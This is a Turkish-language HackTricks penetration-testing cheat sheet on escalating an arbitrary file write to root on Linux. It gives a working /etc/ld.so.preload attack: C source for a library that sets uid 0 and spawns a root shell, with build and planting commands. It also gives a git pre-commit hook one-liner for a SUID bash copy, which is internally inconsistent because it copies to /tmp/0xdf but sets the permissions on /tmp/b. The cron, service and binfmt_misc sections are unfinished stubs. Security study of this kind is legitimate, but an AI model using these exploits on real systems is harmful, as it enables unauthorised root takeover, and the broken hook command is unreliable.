Arbitrary File Write to Root

HackTricks'i Destekleyin

/etc/ld.so.preload

Bu dosya, LD_PRELOAD ortam değişkeni gibi davranır ancak aynı zamanda SUID ikili dosyalarında da çalışır. Oluşturabilir veya değiştirebilirseniz, her yürütülen ikili dosya ile yüklenecek bir kütüphane yolunu ekleyebilirsiniz.

Örneğin: echo "/tmp/pe.so" > /etc/ld.so.preload

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Git kancaları

Git kancaları, bir taahhüt oluşturulduğunda, birleştirme yapıldığında gibi bir git deposundaki çeşitli olaylarda çalıştırılan betiklerdir. Dolayısıyla, bir ayrıcalıklı betik veya kullanıcı bu eylemleri sıkça gerçekleştiriyorsa ve .git klasörüne yazma izni varsa, bu ayrıcalık yükseltmesi için kullanılabilir.

Örneğin, bir yeni taahhüt oluşturulduğunda her zaman çalıştırılan bir betik oluşturmak mümkündür:

echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit

Cron ve Zaman Dosyaları

TODO

Servis ve Soket Dosyaları

TODO

binfmt_misc

/proc/sys/fs/binfmt_misc konumunda bulunan dosya, hangi ikili dosyanın hangi tür dosyaları çalıştırması gerektiğini gösterir. TODO: Bu dosyayı kötüye kullanmak için gereksinimleri kontrol edin ve yaygın bir dosya türü açıldığında bir ters shell çalıştırmak için bunu nasıl kullanabilirsiniz.

HackTricks'i Destekleyin

Last updated